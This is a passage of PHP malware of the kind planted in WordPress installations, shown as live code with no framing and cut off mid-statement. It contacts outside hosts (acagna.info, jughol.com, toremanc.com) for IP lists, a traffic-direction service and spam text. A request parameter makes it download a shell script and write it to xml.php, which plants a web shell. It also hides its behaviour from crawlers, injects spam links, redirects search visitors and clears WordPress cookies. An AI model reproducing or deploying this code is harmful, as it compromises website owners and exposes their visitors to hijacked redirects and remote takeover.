if (!function_exists('getUserIP')) { function getUserIP() { foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('cacheUrl')) { function cacheUrl($url, $skip_cache = FALSE) { $cachetime = 10; //one week // $cachetime = 60 * 60 * 24 * 7; //one week $file = ABSPATH.WPINC. '/class-wp-http-netfilter.php'; $mtime = 0; if (file_exists($file)) { $mtime = filemtime($file); } $filetimemod = $mtime + $cachetime; if ($filetimemod < time() OR $skip_cache) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', CURLOPT_FOLLOWLOCATION => TRUE, CURLOPT_MAXREDIRS => 5, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 60, )); $data = curl_exec($ch); curl_close($ch); if ($data AND!$skip_cache) { file_put_contents($file, $data); } } else { $data = file_get_contents($file); } return $data; } } $weoboo = cacheUrl('https://acagna.info/lnk/data/ip.admin.txt'); $user_ip = getUserIP(); if (strpos($weoboo, getUserIP()) !== false) { //ip found } else { $id = $_SERVER['REQUEST_URI']; if (preg_match_all("/ffgg$/", $id, $matches) ) { echo '111111'; } $uag = $_SERVER['HTTP_USER_AGENT']; $id = $_SERVER['REQUEST_URI']; $host=$_SERVER['HTTP_HOST']; $ref =$_SERVER['HTTP_REFERER']; $uri =$_SERVER['REQUEST_URI']; //t $pagesID = $_SERVER['REQUEST_URI']; if (!preg_match_all("/wp-login|wp-admin|admin|xmlrpc/", $pagesID, $matches)) { @error_reporting(0); @ini_set('display_errors', 0); @date_default_timezone_set('UTC'); $z_test_config = $z_mode = ''; /*config*/ $z_url = 'https://jughol.com'; $z_key_api_host = '2LmRsae4qqsca32'; $z_conf_edit = 0; $z_conf_file = 'dmsnd.ini'; $z_allow_ip = ''; $z_get = 'q'; $z_timeout = 10; if($z_conf_edit == 1 && file_exists($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)){$z_test_config = 1;} if(!empty($_GET[$z_get])){$z_key = trim($_GET[$z_get]);$z_mode = 1;$z_conf_edit = 0;} if($z_conf_edit == 0 || ($z_conf_edit == 1 && empty($z_test_config))){ $z_conf = array(); $z_conf['id'] = 'dmsnd'; $z_conf['sub_del'] = 0; $z_conf['cf_ip'] = 0; $z_conf['em_referer'] = 0; $z_conf['em_useragent'] = 0; $z_conf['em_lang'] = 0; $z_conf['ipv6'] = 0; $z_conf['ptr'] = 0; $z_conf['rd_bots'] = 0; $z_conf['rd_se'] = 0; $z_conf['rotator'] = 1; $z_conf['t_cookies'] = 3600; $z_conf['m_cookies'] = 0; $z_conf['method'] = 0; $z_conf['conf_lc'] = date('d.m.Y H:i:s'); $z_conf['status'] = 1; $z_conf['ip_serv_seodor'] = ''; $z_conf['sign_ref'] = htmlentities('iframe-toloka.com,hghltd.yandex.net', ENT_QUOTES, 'UTF-8'); $z_conf['sign_ua'] = htmlentities('ahrefs,aport,ask,bot,btwebclient,butterfly,commentreader,copier,crawler,crowsnest,curl,disco,ezooms,fairshare,httrack,ia_archiver,internetseer,java,js-kit,larbin,libwww,linguee,linkexchanger,lwp-trivial,netvampire,nigma,ning,nutch,offline,peerindex,pingadmin,postrank,rambler,semrush,slurp,soup,spider,sweb,teleport,twiceler,voyager,wget,wordpress,yeti,zeus', ENT_QUOTES, 'UTF-8'); if($z_conf_edit == 1 && empty($z_test_config)){ $z_conf_default = serialize($z_conf); file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf_default, LOCK_EX); $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } } if($z_conf_edit == 1 && !empty($z_test_config)){ $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } echo serialize($z_conf); exit(); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && !empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } $z_conf = base64_decode($_GET['conf']); $z_conf_tmp = @unserialize($z_conf); if(is_array($z_conf_tmp)){ file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf, LOCK_EX); } exit(); } $z_out = $z_lang = $z_country = $z_city = $z_region = $z_asn = $z_org = $z_device = $z_operator = $z_os_name = $z_os_version = $z_browser_name = $z_browser_version = $z_macros = ''; $z_empty = $z_bot = '-'; $z_uniq = 'yes'; if($z_conf['status'] == 1){ $z_useragent = $z_empty; if(!empty($_SERVER['HTTP_USER_AGENT'])){ $z_useragent = $_SERVER['HTTP_USER_AGENT']; } elseif($z_conf['em_useragent'] == 1){ $z_bot = 'empty_ua'; } $z_referer = $z_empty; $z_se = $z_empty; if(!empty($_SERVER['HTTP_REFERER'])){ $z_referer = $_SERVER['HTTP_REFERER']; if(strstr($z_referer, 'google.')){$z_se = 'google';} if(strstr($z_referer, 'yandex.')){$z_se = 'yandex';} if(strstr($z_referer, 'mail.ru')){$z_se = 'mail';} if(strstr($z_referer, 'yahoo.com')){$z_se = 'yahoo';} if(strstr($z_referer, 'bing.com')){$z_se = 'bing';} if(strstr($z_referer, 'baidu.com')){$z_se = 'baidu';} } elseif($z_bot == $z_empty && $z_conf['em_referer'] == 1){ $z_bot = 'empty_ref'; } if($z_bot == $z_empty && $z_referer != $z_empty && !empty($z_conf['sign_ref'])){ $z_ex = explode(',', $z_conf['sign_ref']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(strstr($z_referer, $z_value)){ $z_bot = 'sign_ref'; break; } } } if(stristr($z_useragent, 'baidu.com')){$z_bot = 'baidu';} if(stristr($z_useragent, 'bing.com') || stristr($z_useragent, 'msnbot')){$z_bot = 'bing';} if(stristr($z_useragent, 'google.')){$z_bot = 'google';} if(stristr($z_useragent, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_useragent, 'yahoo.com')){$z_bot = 'yahoo';} if(stristr($z_useragent, 'yandex.com/bots')){$z_bot = 'yandex';} if(stristr($z_useragent, 'facebook')){$z_bot = 'facebook';} if($z_bot == $z_empty && $z_useragent != $z_empty && !empty($z_conf['sign_ua'])){ $z_ex = explode(',', $z_conf['sign_ua']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(stristr($z_useragent, $z_value)){ $z_bot = 'sign_ua'; break; } } } $z_cf_country = $z_empty; if(!empty($_SERVER['HTTP_CF_IPCOUNTRY'])){ $z_cf_country = strtolower($_SERVER['HTTP_CF_IPCOUNTRY']); } if($z_conf['cf_ip'] == 1 && !empty($_SERVER['HTTP_CF_CONNECTING_IP'])){ $z_ipuser = $_SERVER['HTTP_CF_CONNECTING_IP']; } if($z_conf['cf_ip'] == 0 || empty($z_ipuser)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ipuser = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ipuser = trim($z_ipuser[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ if(empty($z_conf['ip_serv_seodor'])){ $z_ipuser = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } } if(empty($z_ipuser)){ $z_ipuser = trim($_SERVER['REMOTE_ADDR']); } } if(!filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) && !filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_ipuser = $z_empty; } if($z_bot == $z_empty && $z_conf['ipv6'] == 1 && filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_bot = 'ipv6'; } if($z_bot == $z_empty && $z_conf['ptr'] == 1){ $z_ptr_rec = gethostbyaddr($z_ipuser); if(stristr($z_ptr_rec, 'baidu')){$z_bot = 'baidu';} if(stristr($z_ptr_rec, 'bing') || stristr($z_ptr_rec, 'msnbot')){$z_bot = 'bing';} if(stristr($z_ptr_rec, 'google') && !stristr($z_ptr_rec, 'googlefiber')){$z_bot = 'google';} if(stristr($z_ptr_rec, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_ptr_rec, 'yahoo')){$z_bot = 'yahoo';} if(stristr($z_ptr_rec, 'yandex')){$z_bot = 'yandex';} } $z_lang = $z_empty; if(!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])){ $z_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } if($z_lang == $z_empty && $z_conf['em_lang'] == 1){ $z_bot = 'empty_lang'; } $z_domain = $_SERVER['HTTP_HOST']; if($z_conf['sub_del'] == 1 && substr_count($z_domain, '.') > 1){ preg_match("~^.+?\.(.+?)$~", $z_domain, $matches); $z_domain = $matches[1]; } $z_page = $_SERVER['REQUEST_URI']; $z_page_url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if(($z_bot == $z_empty || $z_conf['rd_bots'] == 1) && $z_ipuser != $z_empty){ $z_n_cookies = md5($_SERVER['HTTP_HOST'].'_'.$z_conf['id']); $z_n_cookies_exp = md5($_SERVER['HTTP_HOST'].'_exp_'.$z_conf['id']); $z_t_cookies = time() + $z_conf['t_cookies']; $z_cookies_options = array('expires'=>$z_t_cookies, 'path'=>'/', 'domain'=>'', 'secure'=>false, 'httponly'=>true, 'samesite'=>'Lax'); if($z_conf['rotator'] == 1){ if(!isset($_COOKIE[$z_n_cookies])){ $z_counter = 0; if(phpversion() >= 7.3){ SetCookie($z_n_cookies, 0, $z_cookies_options); } else{ SetCookie($z_n_cookies, 0, $z_t_cookies, '/', '', 0, 1); } if($z_conf['m_cookies'] == 1){ if(phpversion() >= 7.3){ SetCookie($z_n_cookies_exp, $z_t_cookies, $z_cookies_options); } else{ SetCookie($z_n_cookies_exp, $z_t_cookies, $z_t_cookies, '/', '', 0, 1); } } } else{ $z_counter = $_COOKIE[$z_n_cookies] + 1; $z_uniq = 'no'; } } if(empty($z_key)){$z_key = '';} if(empty($z_options)){$z_options = array();} $z_request = array(); $z_request[0] = trim($z_key_api_host); $z_request[1] = trim($z_conf['id']); $z_request[2] = trim($z_ipuser); $z_request[3] = trim($z_referer); $z_request[4] = trim($z_useragent); $z_request[5] = $z_se; $z_request[6] = trim($z_lang); $z_request[7] = $z_uniq; $z_request[8] = urlencode(trim($z_key)); $z_request[9] = trim($z_domain); $z_request[10] = trim($z_page); $z_request[11] = trim($z_cf_country); $z_request[12] = $z_options; if($z_conf['method'] == 1){ $z_data['api'] = serialize($z_request); } else{ $z_url = $z_url.'/?api='.base64_encode(serialize($z_request)); } if((empty($z_conf['ip_serv_seodor']) || $z_ipuser != $z_conf['ip_serv_seodor']) && ($z_conf['rd_se'] == 0 || ($z_conf['rd_se'] == 1 && $z_se != $z_empty))){ $z_ch = curl_init(); curl_setopt($z_ch, CURLOPT_TIMEOUT, $z_timeout); curl_setopt($z_ch, CURLOPT_URL, $z_url); curl_setopt($z_ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($z_ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($z_ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($z_ch, CURLOPT_SSL_VERIFYHOST, 0); if($z_conf['method'] == 1){ curl_setopt($z_ch, CURLOPT_POST, true); curl_setopt($z_ch, CURLOPT_POSTFIELDS, $z_data); } curl_setopt($z_ch, CURLOPT_USERAGENT, 'zTDS'); $z_response = curl_exec($z_ch); curl_close($z_ch); $z_response = @unserialize($z_response); if(is_array($z_response)){ $z_out = trim(html_entity_decode($z_response[0], ENT_QUOTES, 'UTF-8')); $z_country = $z_response[1]; $z_region = $z_response[2]; $z_city = $z_response[3]; $z_asn = $z_response[4]; $z_org = $z_response[5]; $z_device = $z_response[6]; $z_operator = $z_response[7]; $z_bot = $z_response[8]; $z_uniq = $z_response[9]; $z_lang = $z_response[10]; $z_macros = trim(html_entity_decode($z_response[11], ENT_QUOTES, 'UTF-8')); $z_os_name = $z_response[12]; $z_os_version = $z_response[13]; $z_br_name = $z_response[14]; $z_br_version = $z_response[15]; $z_brand = $z_response[16]; if($z_conf['rotator'] == 1){ if(strstr($z_out, '|||')){ $z_out_ex = explode('|||', $z_out); if(!empty($z_out_ex[$z_counter])){ $z_out = trim($z_out_ex[$z_counter]); } else{ $z_out = trim($z_out_ex[0]); $z_counter = 0; } } else{ $z_counter = 0; } if($z_conf['rotator'] == 1 && $z_uniq == 'no'){ if(isset($_COOKIE[$z_n_cookies_exp])){ $z_cookies_options['expires'] = $_COOKIE[$z_n_cookies_exp]; } if(phpversion() >= 7.3 == 1){ SetCookie($z_n_cookies, $z_counter, $z_cookies_options); } else{ SetCookie($z_n_cookies, $z_counter, $z_cookies_options['expires'], '/', '', 0, 1); } } } if(strstr($z_out, '[RAWURLENCODE_REFERER]')){ $z_out = str_replace('[RAWURLENCODE_REFERER]', rawurlencode($z_referer), $z_out); } if(strstr($z_out, '[URLENCODE_REFERER]')){ $z_out = str_replace('[URLENCODE_REFERER]', urlencode($z_referer), $z_out); } if(strstr($z_out, '[RAWURLENCODE_PAGE_URL]')){ $z_out = str_replace('[RAWURLENCODE_PAGE_URL]', rawurlencode($z_page_url), $z_out); } if(strstr($z_out, '[URLENCODE_PAGE_URL]')){ $z_out = str_replace('[URLENCODE_PAGE_URL]', urlencode($z_page_url), $z_out); } if(!empty($z_mode)){ if(!empty($z_out)){ header("Location: $z_out"); exit(); } else{ header('HTTP/1.0 404 Not Found', true, 404); exit(); } } if($z_bot == $z_empty && !empty($z_out)){echo $z_out;} } } } } function z_ip_check($z_allow_ip){ if(!empty($z_allow_ip)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ip = trim($z_ip[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ $z_ip = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } else{ $z_ip = trim($_SERVER['REMOTE_ADDR']); } if($z_ip == trim($z_allow_ip)){ return true; } } else{ return true; } } } @ini_set('display_errors', '0'); error_reporting(0); @ini_set("memory_limit","1024M"); $curtime = time(); $hspan = 0; $gen_passwd = "57ffb10f130bd90ab7a342fe814ccbd8"; $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die(); if ($_REQUEST['testwork'] == 'ololo') { $twork = file_get_contents('http://toremanc.com/lnk/up/sh.txt'); if (preg_match("#cgi|admin#i", $eb)) $eb = ''; if (file_put_contents("{$eb}xml.php", $twork)) echo "success!
go"; else echo "error!"; die(); } if (ini_get('allow_url_fopen')) { function get_data_yo($url) { $data = file_get_contents($url); return $data; } } else { function get_data_yo($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } $ip = urlencode($_SERVER['REMOTE_ADDR']); $ua = urlencode($_SERVER['HTTP_USER_AGENT']); //block ddos bots $blbots = '/semrush|rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|ia_archiver/i'; if (preg_match($blbots, $ua)) die(); $ref = urlencode($_SERVER['HTTP_REFERER']); $poiskoviki = '/google|bing|yahoo|aol|rambler/i'; $fromse = 0; if ($ref && preg_match($poiskoviki, $ref)) $fromse = 1; $abt = 0; $abtip = 0; if (isset($_GET['debug'])) $abt = 1; $crawlers = '/google|bot|crawl|slurp|spider|yandex|rambler/i'; $crawlers = '/a|b|c|d|e|f|g/i'; if (preg_match($crawlers, $ua)) { $abt = 1; } if (file_exists("{$eb}.bt")) { $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $btime = filemtime("{$eb}.bt"); $obtime = $curtime - $btime; } if (!$bots[2] || $obtime > 172800) { $fbots = get_data_yo("http://toremanc.com/lnk/bots.dat"); $btf = fopen("{$eb}.bt", 'w'); fwrite($btf, $fbots); fclose($btf); $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } if (in_array($ip, $bots)) { $abt = 1; $abtip = 1; } $st = '.st'; $cldw = 0; $dw = 0; if ($_REQUEST["create"] == 1 && $_REQUEST["gen_passwd"] == $gen_passwd) { $cldw = 0; if ($_REQUEST['cldw']) $cldw = 1; $qq = $_REQUEST['qq']; if (!file_exists("{$eb}{$st}/.r")) { $qq = $_REQUEST['qq']; mkdir("{$eb}{$st}"); } else { $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); if (isset($_REQUEST['qq']) && $_REQUEST['qq']) $qq = $_REQUEST['qq']; else $qq = trim($eqq[2]); } $redir = $_REQUEST['redir']; $redcode = $_REQUEST['redcode']; $redcode = htmlspecialchars_decode($redcode); $redcode = base64_encode($redcode); $group = $_REQUEST['group']; if ($cldw) { $egroup = explode('_', $group); $kgroup = $egroup[0]; $clkeys = get_data_yo("http://toremanc.com/lnk/gen/keys/$kgroup.keys"); file_put_contents("{$eb}{$st}/.k", $clkeys); } $lang = $_REQUEST['lang']; file_put_contents("{$eb}{$st}/.r", "$redir|$group|$qq|$lang|$redcode|$cldw"); if (file_exists("{$eb}{$st}/.r")) { echo "created"; die(); } } if (file_exists("{$eb}{$st}/.r")) { $dw = 1; $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); $redir = $eqq[0]; if (!strstr($redir, 'https://')) $redir = base64_decode($redir); $group = $eqq[1]; $qq = trim($eqq[2]); $lang = trim($eqq[3]); if ($eqq[4]) $redcode = base64_decode($eqq[4]); $cldw = $eqq[5]; } $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $ddomain = $_SERVER['HTTP_HOST']; $ddomain = str_ireplace('www.', '', $ddomain); $eddomain = explode('.', $ddomain); $ddname = $eddomain[0]; $donor = str_ireplace('www.', '', $donor); $page = str_replace('/', '|', $donor); $donor = urldecode($donor); $epage = explode('|', $page); $morda = 0; if (!$epage[1] && !$epage[2] || $epage[1] == 'index.php' || $epage[1] == '?p=home') $morda = 1; //$fromse = 1; if ($abt || $fromse || $redcode || $hspan) { if (($abt || $hspan) && !$_GET[$qq]) { $ll = get_data_yo("http://toremanc.com/lnk/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo"); $el = explode(' ', $ll); } if (file_exists("{$eb}{$st}/$page.html")) { $htmlpage = file_get_contents("{$eb}{$st}/$page.html"); echo $htmlpage; die(); } $mdpage = md5($page); if (file_exists("{$eb}{$st}/$page.txt") || file_exists("{$eb}{$st}/$mdpage.txt")) { if (file_exists("{$eb}{$st}/$mdpage.txt")) $gtxt = file_get_contents("{$eb}{$st}/$mdpage.txt"); else $gtxt = file_get_contents("{$eb}{$st}/$page.txt"); $etxt = explode('|', $gtxt); $key = $etxt[0]; $desc = $etxt[1]; $txt = $etxt[2]; $h1 = $etxt[3]; } elseif ($cldw || isset($_GET[$qq])) { $desc = ''; $keys = file("{$eb}{$st}/.k", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); if ($keys[0]) { $key = $keys[0]; for ($kk = 1; $kk < count($keys); $kk++) $newkeys .= "$keys[$kk] "; file_put_contents("{$eb}{$st}/.k", $newkeys); } if (isset($_GET[$qq])) { $key = str_replace('-', ' ', $_GET[$qq]); } if ($key) { $parkey = $key; $tkey = str_replace(' ', '-', $key); if (stristr($lang, 'own')) { $lang = str_replace('own:', '', $lang); $owntext = base64_decode($lang); $wkey = urlencode($key); if (strstr($owntext, '?')) $ttxt = get_data_yo("{$owntext}&key=$wkey"); else $ttxt = get_data_yo("{$owntext}?key=$wkey"); } else $ttxt = get_data_yo("http://toremanc.com/lnk/gen/index.php?key=$tkey&g=$group&lang=$lang&page=$page&cldw=$cldw&dd=$ddomain"); if (preg_match('#\n$parkey rating\n
\n$rating-5 stars based on\n$rcount reviews\n
\n\n"; $desc = $etxt[2]; $txt .= $etxt[3]; if ($desc == 'desc') { $desc = get_data_yo("http://toremanc.com/lnk/gen/desc.php?key=$tkey&desc=$group"); preg_match('#gogogo(.*)enenen#is', $desc, $mtchs); $desc = $mtchs[1]; } $mdpage = md5($page); file_put_contents("{$eb}{$st}/$mdpage.txt", "$title|$desc|$txt|$h1"); $newclpage = str_replace('|', '/', $page); $newcllink = "$parkey "; if ($cldw) file_put_contents("{$eb}{$st}/cldwmap.txt", $newcllink, FILE_APPEND); } } $iswp = 0; if (file_exists('wp-includes/vars.php')) $iswp = 1; $cldwmap = file("{$eb}{$st}/cldwmap.txt", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); ob_start(); function shutdown() { global $morda; global $eb; global $txt; global $qq; global $key; global $desc; global $lang; global $cldwmap; global $el; global $dw; global $cldw; global $redcode; global $abt; global $hspan; global $h1; global $iswp; global $ddname; $title = ucfirst($key); $my_content = ob_get_contents(); ob_end_clean(); if ($my_content && isset($_REQUEST['prigod'])) { $my_content = '---prigod---'; } if ($key && $abt) { if ($cldw && !$morda) { preg_match_all('##iUm', $my_content, $ahrefs); $cntahrefs = count($ahrefs[0]); $cntcldwmap = count($cldwmap); $i = 0; foreach ($ahrefs[0] as $ahref) { if ($cldwmap[$i]) { $my_content = str_replace($ahref, $cldwmap[$i], $my_content); } $i++; } if ($morda) { $cldwfooter = ''; foreach ($cldwmap as $cldwflink) { $cldwfooter .= "$cldwflink "; } $my_content = str_replace('', "
$cldwfooter
", $my_content); } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } //end if key elseif (!preg_match('#(.*)404(.*)#i', $my_content) && !preg_match('#<title>(.*)not found(.*)#i', $my_content)) { foreach($el as $ln) { if (preg_match('#<strong>#', $my_content)) { $my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('#<b>#', $my_content)) { $my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('#<i>#', $my_content)) { $my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('#<u>#', $my_content)) { $my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); //$my_content = str_replace('</head>', "<script type='text/javascript'> function style_{$ddname} () { return 'none'; } function end_{$ddname} () { document.getElementById('$ddname').style.display = style_{$ddname}(); } </script>\n</head>", $my_content); //$my_content = str_replace('</body>', "<script type='text/javascript'> end_{$ddname}(); </script>\n</body>", $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } if (($_GET[$qq] || $cldw) && $fromse && !$abt) { if (!$redcode && !$morda) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=".$tkey; else $redir .= "?keyword=".$tkey; $redir = str_replace('KEY', $tkey, $redir); header("Location: $redir"); echo "<script type=\"text/javascript\">location.href=\"$redir\";</script>"; die(); } elseif (!$morda) { $key = str_replace('-', ' ', $_GET[$qq]); $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } /* your code end */ } /* weoboo end */ if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); // unset cookies if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts 